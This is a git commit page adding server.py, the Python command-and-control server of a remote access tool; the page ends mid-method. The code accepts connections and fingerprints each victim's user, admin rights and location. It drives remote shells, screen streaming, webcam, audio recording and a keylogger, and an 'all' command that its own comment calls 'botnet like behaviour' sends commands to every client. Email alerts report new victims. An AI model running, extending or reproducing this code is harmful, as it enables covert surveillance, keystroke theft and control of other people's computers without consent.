summaryrefslogtreecommitdiff
path: root/server.py
diff options
context:
space:
mode:
Diffstat (limited to 'server.py')
-rw-r--r--server.py1264
1 files changed, 1264 insertions, 0 deletions
diff --git a/server.py b/server.py
new file mode 100644
index 0000000..239f55f
--- /dev/null
+++ b/server.py
@@ -0,0 +1,1264 @@
+import threading
+import argparse
+import shutil
+import socket
+import pickle
+import zlib
+import time
+import os
+
+from colorama import init, Fore, Style
+from win10toast import ToastNotifier
+from subprocess import Popen, PIPE
+from queue import Queue
+from PIL import Image
+init()
+
+print(Fore.LIGHTCYAN_EX, end='')
+parser = argparse.ArgumentParser(description='A reverse TCP server, supporting multiple clients & powerful modules.')
+parser.add_argument('-ip', '--internet_protocol', default='127.0.0.1', help='The internet protocol to host the server, don\'t specificy this option for local testing, else 127.0.0.1 or localhost is recommended.')
+parser.add_argument('-p', '--port',type=int, default=1200, help='Port to be listening on for clients to connect to, default port is 1200.')
+parser.add_argument('-mP', '--module_ports', default='1201,1202,1203,1204,1205', help='Set the ports the modules will be using in the order of stream, cam, audio, keylogger, talk.Default is 1201,1202,1203,1204,1205.')
+parser.add_argument('-b', '--banner', action='store_false', help='To display the banner upon running the program, use this flag to hide the banner. Default is True.')
+parser.add_argument('-u', '--username', default=None, help='Set the username of your server. Default is your computers username.')
+parser.add_argument('-t', '--theme', default='light', help='Specify theme the program. specify dark for white terminal windows. Default is light.')
+parser.add_argument('-e', '--encoding', default='latin-1', help='Encoding to be used when sending & recieveing data over the wire, default is latin-1.')
+parser.add_argument('-n', '--notice', action='store_false', help='To recieve a notice in the console when a client connect to the server. Default is True.')
+parser.add_argument('-eN', '--email_notice', default='False,None,None,[]', help='To recieve a notice in your email when a client connect to the server, format: True|False,email,email password, other emails than your own seperated by comma (Optional). Default is False,None,None,[]')
+parser.add_argument('-d', '--duplicates', action='store_false', help='To enable duplicate connections from the same computer, this is recognized matching computers usernames. Can be enabled in cases of multiple persons with the exact same username. Default is False.')
+parser.add_argument('-w', '--whoami', action='store_false', help='To disable collecting detailed information on client connection. May be a choice for recurring or frequent clients connecting, making the connection faster. Default is True.')
+parser.add_argument('-H', '--history', action='store_false', help='To disable a history log of connection & disconnection of every person. Default is True.')
+parser.add_argument('-uL', '--use_latest', action='store_true', help='To use settings from last time running the script. Default is False.')
+args = parser.parse_args()
+print(Style.RESET_ALL, end='')
+
+from Utilities.db_queries import *
+update_db(args.use_latest, args.internet_protocol, args.port, args.module_ports)
+from Specific.encrypt import Encryption
+from Modules.Servers.keylogger import *
+from Modules.Servers.stream import *
+from Modules.Servers.audio import *
+from Modules.Servers.talk import *
+from Modules.Servers.cam import *
+from Specific.mail import Email
+from Utilities.server import *
+
+
+class Server:
+ # Socket, queue & encryption
+ s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+ q = Queue()
+ encrypt = Encryption()
+ toaster = ToastNotifier()
+ # headersize
+ headersize = 10
+ # Threads & jobs
+ threads = 2
+ jobs = [1, 2]
+ # Connections & addresses
+ connections = []
+ addresses = []
+ usernames = []
+ priveldges = []
+ information = []
+ # Program & session timers
+ sessionTime = ''
+ runningTime = ''
+ # Message transfer
+ new_msg = True
+ msg_len = 0
+ full_msg = b''
+ msg = ''
+ # Keep alive & connect notice
+ keep_alive_timer = 60
+ # Filter client
+ filter_client = None
+ # Session clear screen
+ session_clear_screen = False
+
+
+ """
+ The method called upon instantiation to provide &
+ verify the options specified by the user available
+ as command line arguments.
+ """
+ def __init__(self, ip, port, username, theme, encoding, console_notice, email_notice, duplicates, whoami, history, banner, module_ports):
+ # Ip & port & encoding
+ self.ip = ip
+ self.port = port
+ self.module_ports = module_ports
+ self.banner = set_bool(banner)
+ self.duplicates = set_bool(duplicates)
+ self.history = set_bool(history)
+ self.whoami = set_bool(whoami)
+ self.encoding = set_encoding(encoding)
+ # Username & theme
+ self.username = set_username(username)
+ self.theme = set_theme(theme)
+ # Notices
+ self.console_notice = set_bool(console_notice)
+ self.email_notice = set_email(email_notice)
+
+
+ """
+ Listens for connections to accept & handle for
+ in the methods below. It simply is setting up,
+ binding & listening to a socket.
+ """
+ def listen(self):
+ try:
+ Server.s.bind((self.ip, self.port))
+ Server.s.listen()
+ except:
+ msg_len = len(f'Binding socket to IP[{self.ip}] PORT[{self.port}] failed.')
+ print(f'{self.theme[1]}\n{"-" * msg_len}\nBinding socket to IP[{Style.RESET_ALL}{self.theme[3]}{self.ip}{Style.RESET_ALL}]{self.theme[1]} PORT[{Style.RESET_ALL}{self.theme[3]}{self.port}{Style.RESET_ALL}{self.theme[1]}] failed.\n{"-" * msg_len}{Style.RESET_ALL}')
+ os._exit(0)
+
+
+ """
+ How to handle the connections coming in, adding
+ the data of who this client is to lists, files
+ & verifying the connection is coming through
+ the client script & not any foreign program.
+ """
+ def accept(self):
+ # Close all Server.connections
+ for connection in Server.connections:
+ connection.close()
+
+ # Reset Server.connections & Server.addresses
+ del Server.connections[:]
+ del Server.addresses[:]
+
+ # Accept all clients & append data to lists
+ while True:
+ client, address = Server.s.accept()
+ data = ''
+ try:
+ if self.whoami:
+ data = self.send_message(client, 'dk7ad6mwo5apwr4khg')
+ # Options - Duplicate flag
+ if self.duplicates is False and data[0][0] in Server.usernames:
+ client.close()
+ continue
+ # Append data to lists
+ Server.usernames.append(data[0][0])
+ Server.priveldges.append(data[0][1])
+ Server.information.append(data[1])
+
+ info = ''
+ for typez, item in data[1]:
+ info += f'{typez}: {item}\n'
+
+ dirs = ['Data', f'Data/{data[0][0]}']
+ setup_directory(dirs)
+ with open(f'{os.getcwd()}/Data/{data[0][0]}/{data[0][0]}.txt', 'w') as f:
+ f.write(f'USER: {data[0][0]}\nIP: {address[0]}\nPORT: {address[1]}\n{info}')
+ else:
+ data = self.send_message(client, 'aij4sawxorng2u9w5ar7')
+ # Options - Duplicate flag
+ if self.duplicates is False and data[0] in Server.usernames:
+ client.close()
+ continue
+ # Append data to lists
+ Server.usernames.append(data[0])
+ Server.priveldges.append(data[1])
+ Server.information.append([('OS', 'UNSET'), ('COMPUTER', 'UNSET'), ('VERSION', 'UNSET'), ('EXACT VERSION', 'UNSET'), ('MACHINE', 'UNSET'), ('PROCESSOR', 'UNSET'), ('LOCAL IP', 'UNSET'), ('IP', 'UNSET'), ('HOSTNAME', 'UNSET'), ('CITY', 'UNSET'), ('REGION', 'UNSET'), ('COUNTRY', 'UNSET'), ('LOC', 'UNSET'), ('POSTAL', 'UNSET'), ('ORG', 'UNSET')])
+ except:
+ client.close()
+ continue
+ Server.connections.append(client)
+ Server.addresses.append(address)
+
+ # Options - History, Whoami, Notice & Email Notice
+ if self.history:
+ user = ''
+ if self.whoami:
+ user = data[0][0]
+ else:
+ user = data[0]
+
+ now = time.strftime('%Y-%m-%d (%H-%M-%S)')
+ dirs = ['Data', f'Data/{user}']
+ setup_directory(dirs)
+ with open(f'{os.getcwd()}/Data/{user}/History.txt', 'a') as f:
+ msg = f'CONNECTION: ({now})'
+ f.write(f'{msg}\n{"-" * len(msg)}\n')
+
+ if self.console_notice:
+ now = time.strftime('%H:%M')
+ Server.toaster.show_toast('Connection Notice!', f'{user} Connected! ({now})\nAddress: {address[0]}:{address[1]}', icon_path=None, duration=5, threaded=True)
+
+ if self.email_notice[0]:
+ try:
+ info = ''
+ if self.whoami:
+ for typez, item in data[1]:
+ info += f'\n{typez}: {item}'
+ now = timer()
+ subject = f'Connection! {now}'
+ text = f'CONNECTION: {user}\nIP: {address[0]}\nPORT: {address[1]}\nWHEN: {now}{info}'
+ Email(self.email_notice[1], self.email_notice[2], self.email_notice[1].split() + self.email_notice[3], subject, text).send_email()
+ except:
+ print(f'{self.theme[1]}\nFailed to send email notification.\nPlease check your configuration options.\n\n{Style.RESET_ALL}{self.theme[0]}{self.username}\'s Server>{Style.RESET_ALL}{self.theme[3]}', end='')
+
+
+ """
+ Shell is the handler for everything it lets you
+ delete, list & connect with clients. It allows
+ you to specify options of how the program should
+ operate but also has special features like the
+ "all" command to allowing botnet like behaviour.
+ """
+ def shell(self):
+ # Setup shell
+ clear_screen()
+ Server.runningTime = timer()
+ if self.banner:
+ banner(self.theme)
+ # Setup thread
+ threading.Thread(target=self.keepAlive, daemon=True).start()
+
+ while True:
+ try:
+ # Setup input
+ print(f'{self.theme[0]}{self.username}\'s Server>{Style.RESET_ALL}{self.theme[3]}', end='')
+ try:
+ shell_msg = readInput(self.encoding, True).lower()
+ except TimeoutError:
+ continue
+
+ # Running modules
+ if shell_msg == 'running':
+ print(f'{self.theme[2]}Modules Running:\n - Stream: {stream_info()}\n - Cam: {cam_info()}\n - Audio: {audio_info()}\n - Keylogger: {keylogger_info()}\n - Talk: {talk_info()}\n{Style.RESET_ALL}')
+ continue
+
+ # Stream
+ elif shell_msg[:6] == 'stream':
+ try:
+ if shell_msg[7:11] == 'kill':
+ print(f'{self.theme[2]}{set_stream_settings(shell_msg[12:])}{Style.RESET_ALL}\n')
+ else:
+ self.session(self.getConn(int(shell_msg[7:])), True, 'stream')
+ except:
+ print(f'{self.theme[2]}Failed to handle stream.{Style.RESET_ALL}\n')
+
+ # Cam
+ elif shell_msg[:3] == 'cam':
+ try:
+ if shell_msg[4:8] == 'kill':
+ print(f'{self.theme[2]}{set_cam_settings(shell_msg[9:])}{Style.RESET_ALL}\n')
+ else:
+ args = shell_msg[4:].split()
+ self.session(self.getConn(int(args[0])), True, f'cam {args[1]} {args[2]}')
+ except:
+ print(f'{self.theme[2]}Failed to handle cam.{Style.RESET_ALL}\n')
+
+ # Audio
+ elif shell_msg[:5] == 'audio':
+ try:
+ if shell_msg[6:10] == 'kill':
+ print(f'{self.theme[2]}{set_audio_settings(shell_msg[11:])}{Style.RESET_ALL}\n')
+ else:
+ self.session(self.getConn(int(shell_msg[6:])), True, 'audio')
+ except:
+ print(f'{self.theme[2]}Failed to handle audio.{Style.RESET_ALL}\n')
+
+ # Keylogger
+ elif shell_msg[:9] == 'keylogger':
+ if shell_msg[10:14].lower() == 'kill':
+ print(f'{self.theme[2]}{set_keylogger_settings(shell_msg[15:])}{Style.RESET_ALL}\n')
+ elif shell_msg[10:14] == 'text':
+ try:
+ data = get_logs(int(shell_msg[15:]))
+ print(f'{self.theme[2]}{data[1]}{Style.RESET_ALL}\n')
+ except:
+ print(f'{self.theme[2]}Failed to type logs.{Style.RESET_ALL}\n')
+ elif shell_msg[10:15] == 'image':
+ try:
+ data = get_logs(int(shell_msg[16:]))
+ assert data[0] is not None
+ dirs = ['Data', f'Data/{data[0]}', f'Data/{data[0]}/Keylogger', f'Data/{data[0]}/Keylogger/Images']
+ setup_directory(dirs)
+ fn = time.strftime('%Y-%m-%d (%H-%M-%S).png')
+ image = text_image(data[1])
+ image.show()
+ image.save(f'{os.getcwd()}/{dirs[-1]}/{fn}')
+ print(f'{self.theme[2]}Logs visualization complete!{Style.RESET_ALL}\n')
+ except:
+ print(f'{self.theme[2]}Failed to visualize logs.{Style.RESET_ALL}\n')
+ else:
+ try:
+ self.session(self.getConn(int(shell_msg[10:])), True, 'keylogger')
+ except:
+ print(f'{self.theme[2]}Failed to handle keylogger.{Style.RESET_ALL}\n')
+
+ # Talk
+ elif shell_msg[:4] == 'talk':
+ try:
+ if shell_msg[5:9] == 'kill':
+ print(f'{self.theme[2]}{set_talk_settings(shell_msg[10:])}{Style.RESET_ALL}\n')
+ else:
+ self.session(self.getConn(int(shell_msg[5:])), True, 'talk')
+ except:
+ print(f'{self.theme[2]}Failed to handle talk.{Style.RESET_ALL}\n')
+
+ # Server shell
+ elif shell_msg[:6] == 'server':
+ try:
+ data = Popen(shell_msg[7:], shell=True, stdin=PIPE, stdout=PIPE, stderr=PIPE)
+ print(f'{self.theme[2]}{data.stdout.read().decode(self.encoding).strip()}{data.stderr.read().decode(self.encoding).strip()}{Style.RESET_ALL}\n'.replace('ÿ', ' '))
+ except:
+ print(f'{self.theme[2]}Something went wrong running shell command.\n{Style.RESET_ALL}')
+
+ # Archive
+ elif shell_msg[:7] == 'archive':
+ try:
+ if shell_msg.strip() == 'archive':
+ raise Exception('No data to archive')
+ if shell_msg[-2:] == '-a':
+ shutil.make_archive('Data', 'zip', f'{os.getcwd()}/Data')
+ shutil.rmtree(f'{os.getcwd()}/Data')
+ else:
+ user = shell_msg[8:]
+ shutil.make_archive(user.capitalize(), 'zip', f'{os.getcwd()}/Data/{user.capitalize()}')
+ shutil.rmtree(f'{os.getcwd()}/Data/{user}')
+ print(f'{self.theme[2]}Successfully archived your data!\n{Style.RESET_ALL}')
+ except:
+ print(f'{self.theme[1]}Something went wrong trying to archive your data.\n{Style.RESET_ALL}')
+
+ # Whoami
+ elif shell_msg[:6] == 'whoami':
+ try:
+ target = int(shell_msg[7:])
+ # Filter enabled
+ Server.filter_client = Server.addresses[target][1]
+ data = self.send_message(Server.connections[target], 'dk7ad6mwo5apwr4')
+ # Filter disabled
+ Server.filter_client = None
+ Server.information[target] = data
+
+ info = ''
+ for typez, item in data:
+ info += f'{typez}: {item}\n'
+
+ dirs = ['Data', f'Data/{Server.usernames[target]}']
+ setup_directory(dirs)
+ with open(f'{os.getcwd()}/Data/{Server.usernames[target]}/{Server.usernames[target]}.txt', 'w') as f:
+ f.write(f'USER: {Server.usernames[target]}\nADMIN: {Server.priveldges[target]}\nIP: {Server.addresses[target][0]}\nPORT: {Server.addresses[target][1]}\n{info}')
+ print(f'{self.theme[2]}Whoami complete on connection {target}!\n{Style.RESET_ALL}\n', end='')
+ except:
+ print(f'{self.theme[1]}Something went wrong running whoami.\n{Style.RESET_ALL}')
+
+ # Send all
+ elif shell_msg[:3] == 'all':
+ # If no clients
+ if len(Server.connections) == 0:
+ print(f'{self.theme[1]}No clients connected\n{Style.RESET_ALL}')
+
+ for index, connection in enumerate(Server.connections):
+ try:
+ out = f'{self.theme[2]}{Server.usernames[index]}[{Style.RESET_ALL}{self.theme[3]}{index}{Style.RESET_ALL}{self.theme[2]}] ADMIN[{Style.RESET_ALL}{self.theme[3]}{Server.priveldges[index]}{Style.RESET_ALL}{self.theme[2]}] IP[{Style.RESET_ALL}{self.theme[3]}{Server.addresses[index][0]}{Style.RESET_ALL}{self.theme[2]}] PORT[{Style.RESET_ALL}{self.theme[3]}{Server.addresses[index][1]}{Style.RESET_ALL}{self.theme[2]}]{Style.RESET_ALL}'
+ out_length = len(str(index) + Server.usernames[index] + str(Server.priveldges[index]) + Server.addresses[index][0] + str(Server.addresses[index][1]) + '[] ADMIN[] IP[] PORT[]')
+ print(f'{out}{self.theme[3]}\n{"-" * out_length}{Style.RESET_ALL}')
+
+ client_msg = self.session(self.getConn(index), True, shell_msg[4:])
+ if client_msg:
+ self.delete_client(index, Server.usernames[index])
+ except:
+ print(f'{self.theme[1]}Something went wrong sending message.\n{Style.RESET_ALL}')
+
+ # List
+ elif shell_msg[:4] == 'list' or shell_msg[:2] == 'ls':
+ if shell_msg == 'list' or shell_msg == 'ls':
+ self.list_connections(False)
+ elif shell_msg == 'list -l' or shell_msg == 'ls -l':
+ self.list_connections(True)
+ else:
+ print(f'{self.theme[2]}\'{shell_msg}\' is not a valid input.\n\n{Style.RESET_ALL}', end='')
+
+ # Select
+ elif shell_msg[:7] == 'session':
+ try:
+ target = int(shell_msg[8:])
+ conn = self.getConn(target)
+ if conn is not None:
+ self.session(conn)
+ except:
+ print(f'{self.theme[2]}\'{shell_msg[8:]}\' is not a valid session.\n{Style.RESET_ALL}')
+
+ # Client
+ elif shell_msg[:6] == 'client':
+ try:
+ args = shell_msg.split()
+ target = int(args[1])
+ cmd = ' '.join(args[2:])
+ out = f'{self.theme[2]}{Server.usernames[target]}[{Style.RESET_ALL}{self.theme[3]}{target}{Style.RESET_ALL}{self.theme[2]}] ADMIN[{Style.RESET_ALL}{self.theme[3]}{Server.priveldges[target]}{Style.RESET_ALL}{self.theme[2]}] IP[{Style.RESET_ALL}{self.theme[3]}{Server.addresses[target][0]}{Style.RESET_ALL}{self.theme[2]}] PORT[{Style.RESET_ALL}{self.theme[3]}{Server.addresses[target][1]}{Style.RESET_ALL}{self.theme[2]}]{Style.RESET_ALL}'
+ out_length = len(str(target) + Server.usernames[target] + str(Server.priveldges[target]) + Server.addresses[target][0] + str(Server.addresses[target][1]) + '[] ADMIN[] IP[] PORT[]')
+ print(f'{out}{self.theme[3]}\n{"-" * out_length}{Style.RESET_ALL}')
+ self.session(self.getConn(target), True, cmd)
+ except:
+ if len(Server.connections) == 0:
+ print(f'{self.theme[1]}No clients connected\n\n{Style.RESET_ALL}', end='')
+ else:
+ print(f'{self.theme[1]}Something went wrong, please try again.\n\n{Style.RESET_ALL}', end='')
+
+ # Delete
+ elif shell_msg[:3] == 'del':
+ try:
+ if shell_msg[4:] == '*':
+ if len(Server.connections) == 0:
+ print(f'{self.theme[1]}No clients connected\n\n{Style.RESET_ALL}', end='')
+ else:
+ self.delete_client(':', '*')
+ print(f'{self.theme[2]}All connections deleted!\n\n{Style.RESET_ALL}', end='')
+ else:
+ self.delete_client(int(shell_msg[4:]), Server.usernames[int(shell_msg[4:])])
+ print(f'{self.theme[2]}Connection ({Style.RESET_ALL}{self.theme[3]}{shell_msg[4:]}{Style.RESET_ALL}{self.theme[2]}) deleted!\n\n{Style.RESET_ALL}', end='')
+ except:
+ print(f'{self.theme[2]}\'{shell_msg[4:]}\' is not a valid connection to delete.\n\n{Style.RESET_ALL}', end='')
+
+ # Options
+ elif shell_msg == 'options':
+ if len(self.email_notice[3]) > 0:
+ emails_connector = ', '
+ else:
+ emails_connector = ''
+
+ quick_mode = False
+ if self.history is False and self.whoami is False and self.email_notice[0] is False:
+ quick_mode = True
+
+ if self.email_notice[0]:
+ email_info_notice = f' - Email Notice: True\n - Email: {self.email_notice[1]}\n - Password: {self.email_notice[2]}\n - To: ({self.email_notice[1]}){emails_connector}{", ".join(self.email_notice[3])}'
+ else:
+ email_info_notice = f' - Email Notice: False\n - Email: {self.theme[1]}(Unused: {self.email_notice[1]}){Style.RESET_ALL}{self.theme[2]}\n - Password: {Style.RESET_ALL}{self.theme[1]}(Unused: {self.email_notice[2]}){Style.RESET_ALL}{self.theme[2]}\n - To: {Style.RESET_ALL}{self.theme[1]}(Unused: ({self.email_notice[1]}){emails_connector}{", ".join(self.email_notice[3])}){Style.RESET_ALL}'
+ module_ports_keys = ('Stream', 'Cam', 'Audio', 'Keylogger', 'Talk')
+ module_ports_data = ''
+ for index, moudle_port in enumerate(self.module_ports):
+ module_ports_data += f'\n {self.theme[2]}- {module_ports_keys[index]}:{Style.RESET_ALL} {self.theme[1]}(Constant: {moudle_port}){Style.RESET_ALL}'
+ print(f'{self.theme[1]}Options Available:{Style.RESET_ALL}{self.theme[2]}\n - IP: {Style.RESET_ALL}{self.theme[1]}(Constant: {self.ip}){Style.RESET_ALL}{self.theme[2]}\n - PORT: {Style.RESET_ALL}{self.theme[1]}(Constant: {self.port}){Style.RESET_ALL}{self.theme[2]}\n - MODULE PORTS:{Style.RESET_ALL} {module_ports_data}{Style.RESET_ALL}{self.theme[2]}\n - Quick Mode: {quick_mode}\n - Username: {self.username}\n - Theme: {self.theme[-1]}\n - Encoding: {self.encoding}\n - History: {self.history}\n - Whoami: {self.whoami}\n - Notice: {self.console_notice}\n - Duplicates: {self.duplicates}\n{email_info_notice}\n{Style.RESET_ALL}')
+
+ # Set options
+ elif shell_msg[:3] == 'set':
+ try:
+ value = shell_msg[4:].split('=')
+ assert len(value) == 2
+ getVal = value[0].lower().strip()
+ setVal = value[1].strip()
+ result = f'{self.theme[2]}Option successfully set:{Style.RESET_ALL} {self.theme[1]}{" ".join([x.capitalize().strip() for x in value[0].split()])}='
+
+ # Quick mode
+ if getVal == 'quick mode':
+ output_bool = False
+ if setVal == 'true':
+ output_bool = True
+ self.history = False
+ self.whoami = False
+ self.email_notice[0] = False
+ elif setVal == 'false':
+ self.history = True
+ self.whoami = True
+ else:
+ raise Exception('Something went wrong.')
+ result += str(output_bool)
+
+ # Username
+ elif getVal == 'username':
+ self.username = set_username(setVal)
+ result += self.username
+
+ # Theme
+ elif getVal == 'theme':
+ self.theme = set_theme(setVal)
+ result += self.theme[-1]
+
+ # Encoding
+ elif getVal == 'encoding':
+ self.encoding = set_encoding(setVal)
+ result += self.encoding
+
+ # History
+ elif getVal == 'history':
+ if setVal == 'true':
+ self.history = True
+ elif setVal == 'false':
+ self.history = False
+ else:
+ raise Exception('Something went wrong.')
+ result += str(self.history)
+
+ # Whoami
+ elif getVal == 'whoami':
+ if setVal == 'true':
+ self.whoami = True
+ elif setVal == 'false':
+ self.whoami = False
+ else:
+ raise Exception('Something went wrong.')
+ result += str(self.whoami)
+
+ # Console notice
+ elif getVal == 'notice':
+ if setVal == 'true':
+ self.console_notice = True
+ elif setVal == 'false':
+ self.console_notice = False
+ else:
+ raise Exception('Something went wrong.')
+ result += str(self.console_notice)
+
+ # Duplicates
+ elif getVal == 'duplicates':
+ if setVal == 'true':
+ self.duplicates = True
+ elif setVal == 'false':
+ self.duplicates = False
+ else:
+ raise Exception('Something went wrong.')
+ result += str(self.duplicates)
+
+ # Email notice
+ elif getVal == 'email notice':
+ if setVal == 'true':
+ self.email_notice[0] = True
+ elif setVal == 'false':
+ self.email_notice[0] = False
+ else:
+ raise Exception('Something went wrong.')
+ result += str(self.email_notice[0])
+
+ elif getVal == 'email':
+ if '@' in setVal:
+ self.email_notice[1] = setVal
+ result += self.email_notice[1]
+ else:
+ raise Exception('Something went wrong.')
+
+ elif getVal == 'password':
+ if len(setVal) > 0:
+ self.email_notice[2] = setVal
+ result += self.email_notice[2]
+ else:
+ raise Exception('Something went wrong.')
+
+ elif getVal == 'to':
+ if len(setVal) > 0:
+ self.email_notice[3] = setVal.split(',')
+ result += ', '.join(self.email_notice[3])
+ else:
+ raise Exception('Something went wrong.')
+
+ else:
+ print(f'{self.theme[2]}Option failed to be set:{Style.RESET_ALL} {self.theme[1]}{getVal.capitalize()} option not found.\n')
+ continue
+
+ print(f'{result}\n{Style.RESET_ALL}')
+ except:
+ print(f'{self.theme[2]}Option failed to be set:{Style.RESET_ALL} {self.theme[1]}Something went wrong.\n{Style.RESET_ALL}')
+
+ # Time
+ elif shell_msg == 'time':
+ print(f'{self.theme[2]}Start time: [{Style.RESET_ALL}{self.theme[0]}{Server.runningTime}{Style.RESET_ALL}{self.theme[2]}]{Style.RESET_ALL}')
+ print(f'{self.theme[2]}Current time: [{Style.RESET_ALL}{self.theme[1]}{timer()}{Style.RESET_ALL}{self.theme[2]}]\n{Style.RESET_ALL}')
+
+ # Banner
+ elif shell_msg == 'banner':
+ banner(self.theme)
+
+ # Clear
+ elif shell_msg == 'clear' or shell_msg == 'cls':
+ clear_screen()
+
+ # Exit
+ elif shell_msg == 'exit' or shell_msg == 'quit':
+ self.delete_client(':', '*')
+ print(f'{self.theme[2]}Program start: [{Style.RESET_ALL}{self.theme[3]}{Server.runningTime}{Style.RESET_ALL}{self.theme[2]}]{Style.RESET_ALL}')
+ print(f'{self.theme[2]}Program end: [{Style.RESET_ALL}{self.theme[1]}{timer()}{Style.RESET_ALL}{self.theme[2]}]\n{Style.RESET_ALL}')
+ print(f'{self.theme[4]}Bye!{Style.RESET_ALL}')
+ os._exit(0)
+
+ else:
+ print(f'{self.theme[2]}\'{shell_msg}\' is not a valid input.\n\n{Style.RESET_ALL}', end='')
+ except KeyboardInterrupt:
+ print(f'{self.theme[4]}Keyboard interrupt{Style.RESET_ALL}')
+
+
+ """
+ Session provides the program with all the functionality,
+ takes care of modules & special commands. It allows you
+ to establish an reverse shell with the built in tools.
+ But it also allows you to use one command & get the output
+ & print out the result.
+ """
+ def session(self, conn, target=None, message=None, stdout=True):
+ # Filter client
+ Server.filter_client = conn[1][1]
+ Server.sessionTime = timer()
+
+ if target is None:
+ clear_screen()
+ print(f'{self.theme[1]}Connection to {Style.RESET_ALL}{self.theme[2]}{conn[2]}{Style.RESET_ALL}{self.theme[1]}\'s computer has been established!{Style.RESET_ALL}', end='')
+
+ while True:
+ try:
+ # Session input
+ if target is None:
+ if Server.session_clear_screen:
+ Server.session_clear_screen = False
+ print(f'{self.theme[2]}{conn[2]}>{Style.RESET_ALL}{self.theme[3]}', end='')
+ else:
+ print(f'\n\n{self.theme[2]}{conn[2]}>{Style.RESET_ALL}{self.theme[3]}', end='')
+ msg = readInput(self.encoding, Server.keep_alive_timer * 2)
+ else:
+ msg = message
+ Server.msg = msg
+ if Server.msg.lower() == 'stream':
+ Server.msg = f'stream {self.ip}:{self.module_ports[0]}'
+ elif Server.msg[:3].lower() == 'cam' and len(Server.msg.split()) == 3:
+ args = Server.msg.split()
+ Server.msg = f'cam {self.ip}:{self.module_ports[1]} {args[1]} {args[2]}'
+ elif Server.msg.lower() == 'audio':
+ Server.msg = f'audio {self.ip}:{self.module_ports[2]}'
+ elif Server.msg.lower() == 'keylogger':
+ Server.msg = f'keylogger {self.ip}:{self.module_ports[3]}'
+ elif Server.msg.lower() == 'talk':
+ Server.msg = f'talk {self.ip}:{self.module_ports[4]}'
+ # Stdout msg
+ stdout_save = Server.msg
+ # Save stdout
+ if Server.msg[-5:].lower() == '-b -i' or Server.msg[-5:].lower() == '-i -b':
+ Server.msg = Server.msg[:-6]
+ elif Server.msg[-2:].lower() == '-b' or Server.msg[-2:].lower() == '-i':
+ Server.msg = Server.msg[:-3]
+ pickled_msg = pickle.dumps({'message': Server.msg})
+ compressed_msg = zlib.compress(pickled_msg, 1)
+ encrypted_msg = Server.encrypt.do_encrypt(compressed_msg)
+ final_msg = bytes(f'{len(encrypted_msg):<{Server.headersize}}', self.encoding) + encrypted_msg
+
+ # Running modules
+ if Server.msg.lower() == 'running':
+ print(f'{self.theme[1]}Modules Running:\n - Stream: {stream_info()}\n - Cam: {cam_info()}\n - Audio: {audio_info()}\n - Keylogger: {keylogger_info()}\n - Talk: {talk_info()}{Style.RESET_ALL}', end='')
+ if target is None:
+ continue
+ else:
+ Server.filter_client = None
+ break
+
+ # Stream
+ elif Server.msg[:6].lower() == 'stream':
+ try:
+ if Server.msg[7:11].lower() == 'kill':
+ try:
+ print(f'{self.theme[1]}{set_stream_settings(Server.msg[12:])}{Style.RESET_ALL}', end='')
+ except:
+ print(f'{self.theme[1]}Failed to kill stream.{Style.RESET_ALL}', end='')
+ if target is None:
+ continue
+ else:
+ Server.filter_client = None
+ break
+
+ dirs = ['Data', f'Data/{conn[2]}', f'Data/{conn[2]}/Stream']
+ setup_directory(dirs)
+ threading.Thread(target=Stream, args=[self.encoding, f'{os.getcwd()}/Data/{conn[2]}/Stream', conn[2]], daemon=True).start()
+ except:
+ print(f'{self.theme[1]}Stream failed to run (server).{Style.RESET_ALL}', end='')
+ if target is None:
+ continue
+ else:
+ Server.filter_client = None
+ break
+
+ # Cam
+ elif Server.msg[:3].lower() == 'cam':
+ try:
+ if Server.msg[4:8].lower() == 'kill':
+ print(f'{self.theme[1]}{set_cam_settings(Server.msg[9:])}{Style.RESET_ALL}\n')
+ if target is None:
+ continue
+ else:
+ Server.filter_client = None
+ break
+
+ args = Server.msg[4:].split()
+ cam_size = args[2].split(',')
+ address = args[0].split(':')
+ assert len(Server.msg.split()) == 4 and len(cam_size) == 2 and len(address) == 2
+ cam_size = tuple([int(cam_size[0]), int(cam_size[1])])
+ dirs = ['Data', f'Data/{conn[2]}', f'Data/{conn[2]}/Cam']
+ setup_directory(dirs)
+ threading.Thread(target=Cam, args=[self.encoding, f'{os.getcwd()}/Data/{conn[2]}/Cam', conn[2], cam_size], daemon=True).start()
+ except:
+ print(f'{self.theme[1]}Cam failed to run (server).{Style.RESET_ALL}\n')
+ if target is None:
+ continue
+ else:
+ Server.filter_client = None
+ break
+
+ # Audio
+ elif Server.msg[:5].lower() == 'audio':
+ try:
+ if Server.msg[6:10].lower() == 'kill':
+ print(f'{self.theme[1]}{set_audio_settings(Server.msg[11:])}{Style.RESET_ALL}', end='')
+ if target is None:
+ continue
+ else:
+ Server.filter_client = None
+ break
+
+ dirs = ['Data', f'Data/{conn[2]}', f'Data/{conn[2]}/Audio']
+ setup_directory(dirs)
+ threading.Thread(target=Audio, args=[self.encoding, f'{os.getcwd()}/Data/{conn[2]}/Audio', conn[2]], daemon=True).start()
+ except:
+ print(f'{self.theme[1]}Audio failed to run (server).{Style.RESET_ALL}', end='')
+ if target is None:
+ continue
+ else:
+ Server.filter_client = None
+ break
+
+ # Keylogger
+ elif Server.msg[:9].lower() == 'keylogger':
+ try:
+ if Server.msg[10:14].lower() == 'kill':
+ print(f'{self.theme[1]}{set_keylogger_settings(Server.msg[15:])}{Style.RESET_ALL}', end='')
+ if target is None:
+ continue
+ else:
+ Server.filter_client = None
+ break
+ elif Server.msg[10:14].lower() == 'text':
+ try:
+ data = get_logs(int(Server.msg[15:]))
+ print(f'{self.theme[1]}{data[1]}{Style.RESET_ALL}', end='')
+ except:
+ print(f'{self.theme[1]}Failed to type logs.{Style.RESET_ALL}', end='')
+ if target is None:
+ continue
+ else:
+ Server.filter_client = None
+ break
+ elif Server.msg[10:15].lower() == 'image':
+ try:
+ data = get_logs(int(Server.msg[16:]))
+ assert data[0] is not None
+ dirs = ['Data', f'Data/{data[0]}', f'Data/{data[0]}/Keylogger', f'Data/{data[0]}/Keylogger/Images']
+ setup_directory(dirs)
+ fn = time.strftime('%Y-%m-%d (%H-%M-%S).png')
+ image = text_image(data[1])
+ image.show()
+ image.save(f'{os.getcwd()}/{dirs[-1]}/{fn}')
+ print(f'{self.theme[1]}Logs visualization complete!{Style.RESET_ALL}', end='')
+ except:
+ print(f'{self.theme[1]}Failed to visualize logs.{Style.RESET_ALL}', end='')
+ if target is None:
+ continue
+ else:
+ Server.filter_client = None
+ break
+
+ dirs = ['Data', f'Data/{conn[2]}', f'Data/{conn[2]}/Keylogger']
